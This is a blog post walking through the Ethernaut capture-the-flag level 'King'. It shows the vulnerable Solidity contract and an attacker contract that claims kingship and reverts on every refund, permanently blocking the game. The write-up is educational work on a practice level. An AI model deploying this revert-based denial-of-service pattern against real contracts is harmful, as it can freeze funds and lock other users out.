DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on

Ethernaut: 9. King

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}
Enter fullscreen mode Exit fullscreen mode

The ponzi starts with 0.001 ether. We can exploit the game by giving an greater or equal ether, but via a contract that disallows receiving ether. This way, if someone is eligible to be the new king, the transaction will fail when it tries to send us the prize!

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

contract OneWayForward {  

  receive () external payable {
    revert("Im the king!");
  }

  fallback () external payable {
    revert("Im the king!");
  }

  function forward(address payable _to) public payable {
    (bool sent, ) = _to.call{value: msg.value}("");
    require(sent, "forwarded call failed");
  }

}
Enter fullscreen mode Exit fullscreen mode

The contract is simple: a forward function forwards our sent money to some address. The recieving address will know the contract as msg.sender, however they won't be able to send money back. Preventing to recieving money can be done by not implementing receive and fallback functions. In my case, I wanted to be a little bit cheeky and I implement them but inside revert with "Im the king!" message when they send me money ;)

A note on Call vs. Transfer: We used _to.call{value: msg.value}("") instead of _to.transfer(msg.value). This is because transfer sends 2300 gas to the receiver, but that gas may not always be enough for the code to run on their side; so we must forward all our gas to them with call.

Top comments (0)